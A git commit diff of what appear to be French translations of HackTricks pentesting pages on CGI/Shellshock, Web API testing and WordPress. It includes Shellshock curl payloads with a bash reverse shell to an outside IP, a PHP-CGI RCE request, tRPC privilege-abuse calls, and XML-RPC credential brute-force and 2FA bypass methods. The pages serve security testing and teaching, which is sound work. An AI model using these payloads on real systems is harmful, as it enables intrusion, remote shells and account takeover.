Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-10-07 10:12:17 +00:00
parent d77054e8de
commit 7f17f57898
8 changed files with 642 additions and 588 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -3,18 +3,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Informations
## Information
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins)
Les **CGI scripts sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des scripts _**.cgi**_ vous pouvez **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner les **permissions d'exécution** \(`chmod +x`\) et **accéder** au reverse shell **depuis le navigateur** pour l'exécuter.
Pour tester les **CGI vulns** il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
## **ShellShock**
**ShellShock** est une **vulnérabilité** qui affecte l'usage répandu du shell en ligne de commande **Bash** sur les systèmes d'exploitation Unix. Elle exploite la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques influençant l'exécution des processus sur une machine. Les attaquants peuvent exploiter cela en attachant du **code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet potentiellement de compromettre le système.
**ShellShock** est une **vulnérabilité** qui affecte l'interpréteur de commandes **Bash** largement utilisé dans les systèmes d'exploitation Unix-like. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques influençant l'exécution des processus sur un ordinateur. Les attaquants peuvent exploiter ceci en attachant du **code malveillant** aux variables d'environnement, lequel est exécuté lors de la réception de la variable. Cela permet potentiellement aux attaquants de compromettre le système.
En exploitant cette vulnérabilité, la **page peut renvoyer une erreur**.
Vous pouvez **trouver** cette vulnérabilité en constatant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** (avec un dossier cgi) ou en utilisant **nikto**.
Vous pouvez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** (avec dossier cgi) ou en utilisant **nikto**.
### **Test**
@ -24,7 +24,7 @@ La plupart des tests consistent à utiliser echo pour afficher quelque chose et
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflected, blind and out-of-band\)**
## **Curl \(réfléchi, aveugle et hors-bande\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## Centralized CGI dispatchers (routage d'un endpoint unique via des paramètres sélecteurs)
## Dispatchers CGI centralisés (single endpoint routing via selector parameters)
De nombreuses interfaces web embarquées multiplexent des dizaines d'actions privilégiées derrière un seul endpoint CGI (par exemple, `/cgi-bin/cstecgi.cgi`) et utilisent un paramètre sélecteur tel que `topicurl=<handler>` pour router la requête vers une fonction interne.
Méthodologie pour exploiter ces routeurs :
Méthodologie pour exploiter ces routers :
- Enumérer les noms de handlers : scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
- Tester l'accessibilité sans authentification : certains handlers oublient les auth checks et sont directement appelables.
- Se concentrer sur les handlers qui invoquent des utilitaires système ou touch files ; les validateurs faibles bloquent souvent seulement quelques caractères et peuvent manquer le tiret initial `-`.
- Énumérer les noms de handler : scraper JS/HTML, brute-force avec des wordlists, ou unpacker le firmware et grepper les handler strings utilisées par le dispatcher.
- Tester la reachabilité sans authentification : certains handlers oublient les auth checks et sont appelables directement.
- Se concentrer sur les handlers qui invoquent des system utilities ou touch files ; de faibles validators n'interdisent souvent que quelques caractères et peuvent manquer le tiret initial `-`.
Formes d'exploit génériques :
```http
@ -77,30 +77,29 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Détection et durcissement :
- Surveiller les requêtes non authentifiées vers des endpoints CGI centralisés avec `topicurl` défini sur des handlers sensibles.
- Marquer les paramètres qui commencent par `-` (tentatives d'injection d'options argv).
- Vendors : imposer l'authentification sur tous les handlers modifiant l'état, valider en utilisant des allowlists/types/longueurs stricts, et ne jamais passer des chaînes contrôlées par l'utilisateur comme flags en ligne de commande.
- Surveillez les requêtes non authentifiées vers les endpoints CGI centralisés avec `topicurl` pointant vers des handlers sensibles.
- Signalez les paramètres qui commencent par `-` (tentatives d'injection d'options argv).
- Fournisseurs : exiger l'authentification sur tous les handlers modifiant l'état, valider en utilisant des allowlists/types/lengths stricts, et ne jamais passer des chaînes contrôlées par l'utilisateur comme flags de la ligne de commande.
## Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
En gros si CGI est actif et PHP est "ancien" \(&lt;5.3.12 / &lt; 5.4.2\) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(en particulier sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pouvez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**.
En pratique, si cgi est actif et php est "ancien" (&lt;5.3.12 / &lt; 5.4.2) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, il faut accéder à un fichier PHP du serveur web sans envoyer de paramètres (en particulier sans envoyer le caractère "=").
Pour tester, vous pouvez accéder par exemple à `/index.php?-s` (notez le `-s`) et **le code source de l'application apparaîtra dans la réponse**.
Puis, pour obtenir **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**.
Exemple :
Pour obtenir ensuite une **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**. Exemple :
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Plus d'infos sur la vuln et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM to Web server requests\)**
## **Proxy \(MitM vers les requêtes du serveur Web\)**
CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com"
CGI crée une variable d'environnement pour chaque en-tête dans la requête HTTP. Par exemple : "host:web.com" devient "HTTP_HOST"="web.com"
Comme la variable HTTP_PROXY pourrait être utilisée par le web server, essayez d'envoyer un **header** contenant : "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" et si le serveur effectue une requête pendant la session, vous pourrez capturer chaque requête faite par le serveur.
Comme la variable HTTP_PROXY peut être utilisée par le serveur web. Essayez d'envoyer un **en-tête** contenant : "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" et si le serveur effectue une quelconque requête pendant la session, vous pourrez capturer chaque requête effectuée par le serveur.
## **References**
## **Références**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -1,55 +1,97 @@
# Web API Pentesting
# Pentesting d'API Web
{{#include ../../banners/hacktricks-training.md}}
## Résumé de la méthodologie de pentesting API
## Résumé de la méthodologie de Pentesting des API
Le pentesting des API implique une approche structurée pour découvrir des vulnérabilités. Ce guide encapsule une méthodologie complète, mettant l'accent sur des techniques et des outils pratiques.
Le pentesting des APIs implique une approche structurée pour découvrir des vulnérabilités. Ce guide résume une méthodologie complète, en mettant l'accent sur des techniques et outils pratiques.
### **Comprendre les types d'API**
- **SOAP/XML Web Services** : Utilisent le format WSDL pour la documentation, généralement trouvé aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour analyser et générer des requêtes. La documentation d'exemple est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)** : La documentation se présente souvent sous forme de fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est un outil précieux pour créer et gérer des requêtes d'exemple.
- **GraphQL** : Un langage de requête pour les API offrant une description complète et compréhensible des données dans votre API.
- **SOAP/XML Web Services** : Utilisent le format WSDL pour la documentation, typiquement accessible via des chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (Burp Suite Extension) sont utiles pour parser et générer des requêtes. Exemple de documentation accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)** : La documentation peut être fournie dans des fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est utile pour créer et gérer des requêtes d'exemple.
- **GraphQL** : Un language de requête pour les APIs offrant une description complète et compréhensible des données de votre API.
### **Laboratoires pratiques**
### **Labs de pratique**
- [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour une pratique concrète, couvrant les 10 principales vulnérabilités API de l'OWASP.
- [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour la pratique, couvrant les vulnérabilités OWASP top 10 pour les API.
### **Astuces efficaces pour le pentesting API**
### **Astuces efficaces pour le Pentesting d'API**
- **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide.
- **Escalade de privilèges** : Testez les points de terminaison avec différents niveaux de privilèges pour identifier les possibilités d'accès non autorisé.
- **Mauvaise configuration CORS** : Examinez les paramètres CORS pour une éventuelle exploitabilité via des attaques CSRF à partir de sessions authentifiées.
- **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus.
- **Manipulation de paramètres** : Expérimentez en ajoutant ou en remplaçant des paramètres dans les requêtes pour accéder à des données ou des fonctionnalités non autorisées.
- **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations.
- **Manipulation du type de contenu** : Alternez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester des problèmes d'analyse ou des vulnérabilités.
- **Techniques avancées de paramètres** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec des données XML pour des injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges.
- **Test de version** : Les anciennes versions d'API peuvent être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API.
- **SOAP/XML Vulnerabilities** : Cherchez des vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de payloads si le XML reste valide.
- **Escalade de privilèges** : Testez des endpoints avec différents niveaux de privilèges pour identifier des possibilités d'accès non autorisé.
- **Mauvaise configuration CORS** : Examinez les paramètres CORS pour une potentielle exploitabilité via des attaques CSRF depuis des sessions authentifiées.
- **Découverte d'endpoints** : Exploitez les patterns d'API pour découvrir des endpoints cachés. Des outils comme les fuzzers peuvent automatiser ce processus.
- **Manipulation de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées.
- **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des fuites d'information.
- **Manipulation du Content-Type** : Passez d'un content type à un autre (x-www-form-urlencoded, application/xml, application/json) pour tester des problèmes de parsing ou des vulnérabilités.
- **Techniques avancées sur les paramètres** : Testez avec des types de données inattendus dans les payloads JSON ou jouez avec des données XML pour des injections XXE. Essayez aussi la pollution de paramètres et les caractères wildcard pour des tests plus larges.
- **Test de versions** : Les anciennes versions d'API peuvent être plus vulnérables. Vérifiez toujours et testez plusieurs versions d'API.
### **Outils et ressources pour le pentesting API**
### Autorisation & logique métier (AuthN != AuthZ) — pièges de tRPC/Zod protectedProcedure
- [**kiterunner**](https://github.com/assetnote/kiterunner) : Excellent pour découvrir des points de terminaison API. Utilisez-le pour scanner et forcer les chemins et les paramètres contre les API cibles.
Les stacks TypeScript modernes utilisent couramment tRPC avec Zod pour la validation d'entrée. Dans tRPC, `protectedProcedure` garantit généralement que la requête possède une session valide (authentification) mais n'implique pas que l'appelant ait le rôle/permissions appropriés (autorisation). Ce décalage mène à Broken Function Level Authorization/BOLA si des procédures sensibles ne sont protégées que par `protectedProcedure`.
- Modèle de menace : Tout utilisateur authentifié à faible privilège peut appeler des procédures de niveau admin si les vérifications de rôle manquent (par ex. migrations en arrière-plan, feature flags, maintenance globale du tenant, contrôle de jobs).
- Signal en boîte noire : Endpoints `POST /api/trpc/<router>.<procedure>` qui réussissent pour des comptes basiques alors qu'ils devraient être réservés aux admins. Les inscriptions en self-service augmentent fortement l'exploitabilité.
- Forme typique de route tRPC (v10+) : corps JSON encapsulé sous `{"input": {...}}`.
Exemple de modèle vulnérable (pas de contrôle de rôle/permission) :
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Exploitation pratique (black-box)
1) Créer un compte normal et obtenir une session authentifiée (cookies/headers).
2) Énumérer les background jobs ou d'autres ressources sensibles via les procédures “list”/“all”/“status”.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) Invoquer des actions privilégiées telles que redémarrer un job :
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impact à évaluer
- Corruption de données via des redémarrages non-idempotents : Forcer l'exécution concurrente de migrations/workers peut créer des conditions de course et des états partiels incohérents (perte silencieuse de données, analytics cassés).
- DoS via worker/DB starvation : En déclenchant de manière répétée des jobs lourds, on peut épuiser les pools de workers et les connexions à la base de données, provoquant des pannes affectant tout le tenant.
### **Outils et ressources pour l'API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent pour découvrir des endpoints d'API. Use it to scan and brute force paths and parameters against target APIs.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj) : sj est un outil en ligne de commande conçu pour aider à l'audit des **fichiers de définition Swagger/OpenAPI exposés** en vérifiant les points de terminaison API associés pour une authentification faible. Il fournit également des modèles de commandes pour les tests de vulnérabilité manuels.
- Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra** et **restler-fuzzer** offrent des fonctionnalités adaptées pour les tests de sécurité API, allant de la simulation d'attaque au fuzzing et à l'analyse de vulnérabilités.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb) : C'est un outil de sécurité API qui audite votre API basé sur un fichier OAS (l'outil est écrit en rust).
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj est un outil en ligne de commande conçu pour aider à l'audit des **fichiers de définition Swagger/OpenAPI exposés** en vérifiant les endpoints API associés pour une authentification faible. Il fournit également des modèles de commandes pour des tests de vulnérabilité manuels.
- Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra**, et **restler-fuzzer** offrent des fonctionnalités adaptées pour les tests de sécurité API, allant de la simulation d'attaques au fuzzing et à l'analyse de vulnérabilités.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): C'est un outil de sécurité API qui audite votre API à partir d'un fichier OAS (l'outil est écrit en Rust).
### **Ressources d'apprentissage et de pratique**
- **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités API courantes ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist** : Une liste de contrôle complète pour sécuriser les API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters** : Pour chasser les vulnérabilités API, Logger++ offre des filtres utiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List** : Une liste soigneusement sélectionnée de points de terminaison API potentiels à des fins de test ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
- **OWASP API Security Top 10**: Lecture essentielle pour comprendre les vulnérabilités API courantes ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: Une checklist complète pour sécuriser les API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: Pour chasser les vulnérabilités API, Logger++ propose des filtres utiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Une liste organisée de endpoints API potentiels pour les tests ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Références
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## Informations de base
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Les fichiers **Uploaded** vont dans : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Les fichiers de thèmes se trouvent dans /wp-content/themes/,** donc si vous modifiez du php du thème pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant **theme twentytwelve** vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Dans **wp-config.php** vous pouvez trouver le mot de passe root de la base de données.
- Chemins de login par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principaux fichiers WordPress**
- `index.php`
- `license.txt` contient des informations utiles telles que la version de WordPress installée.
- `license.txt` contient des informations utiles comme la version de WordPress installée.
- `wp-activate.php` est utilisé pour le processus d'activation par email lors de la création d'un nouveau site WordPress.
- Login folders (may be renamed to hide it):
- Dossiers de login (peuvent être renommés pour les cacher) :
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données via HTTP en tant que mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Le dossier `wp-content` est le répertoire principal où sont stockés les plugins et les thèmes.
- `wp-content/uploads/` est le répertoire où sont stockés tous les fichiers uploadés sur la plateforme.
- `wp-includes/` est le répertoire où les fichiers core sont stockés, tels que certificats, polices, fichiers JavaScript et widgets.
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML contenant tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
- `wp-includes/` est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript, et widgets.
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
**Post exploitation**
Post exploitation
- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données telles que le nom de la base, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
- Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut aussi être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le troubleshooting.
### Permissions des utilisateurs
- **Administrator**
- **Editor** : Publie et gère ses propres posts ainsi que ceux des autres
- **Editor** : Publie et gère ses propres posts et ceux des autres
- **Author** : Publie et gère ses propres posts
- **Contributor** : Rédige et gère ses posts mais ne peut pas les publier
- **Subscriber** : Parcourt les posts et édite son profil
## **Énumération passive**
## **Passive Enumeration**
### **Obtenir la version de WordPress**
### **Get WordPress version**
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Dans le **source code** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- Fichiers CSS liés
- Fichiers CSS (link)
![](<../../images/image (533).png>)
@ -68,7 +68,7 @@ curl https://victim.com/ | grep 'content="WordPress'
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obtenir les thèmes
### Récupérer les thèmes
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour tous les découvrir, vous devrez **Brute Force activement une liste de Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
Vous n'arriverez probablement pas à trouver tous les Plugins and Themes possibles. Pour les découvrir, vous devrez **effectuer activement un Brute Force** d'une liste de Plugins and Themes (espérons pour nous qu'il existe des outils automatisés contenant ces listes).
### Utilisateurs
### Users
- **ID Brute:** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Si les réponses sont **200** ou **30X**, cela signifie que l'**id** est **valide**. Si la réponse est **400**, alors l'**id** est **invalide**.
Si les réponses sont **200** ou **30X**, cela signifie que l'id est **valide**. Si la réponse est **400**, alors l'id est **invalide**.
- **wp-json:** Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
- **wp-json:** Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -99,15 +99,15 @@ Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs pour lesquels cette fonctionnalité est activée seront fournies**.
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs qui ont cette fonctionnalité activée seront fournies**.
Notez également que **/wp-json/wp/v2/pages** pourrait leak des adresses IP.
Notez aussi que **/wp-json/wp/v2/pages** pourrait leak des adresses IP.
- **Login username enumeration** : Lors de la connexion via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique si le **username** existe ou non.
- **Login username enumeration** : Lors de la connexion via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique que le **username** existe ou non.
### XML-RPC
Si `xml-rpc.php` est actif, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple).
Si `xml-rpc.php` est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus[ using this](https://github.com/relarizky/wpxploit) par exemple).
Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
@ -122,7 +122,7 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des credentials. Si vous pouvez en trouver une, vous pouvez envoyer quelque chose comme :
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes pouvant être utilisées pour brute-force credentials. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye
</params>
</methodCall>
```
Le message _"Incorrect username or password"_ dans une réponse avec code 200 doit apparaître si les identifiants ne sont pas valides.
Le message _"Incorrect username or password"_ dans une réponse avec code 200 devrait apparaître si les identifiants ne sont pas valides.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
En utilisant les bons identifiants vous pouvez upload a file. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Avec les bons identifiants vous pouvez téléverser un fichier. Dans la réponse le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ En utilisant les bons identifiants vous pouvez upload a file. Dans la réponse,
</params>
</methodCall>
```
Il existe aussi une **méthode plus rapide** pour brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête :
Il existe aussi une **méthode plus rapide** pour brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans une seule requête :
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Cette méthode est destinée aux programmes et non aux humains, et elle est ancienne ; par conséquent elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour login avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions possibles via la console, mais vous pourrez peut-être tout de même atteindre la RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
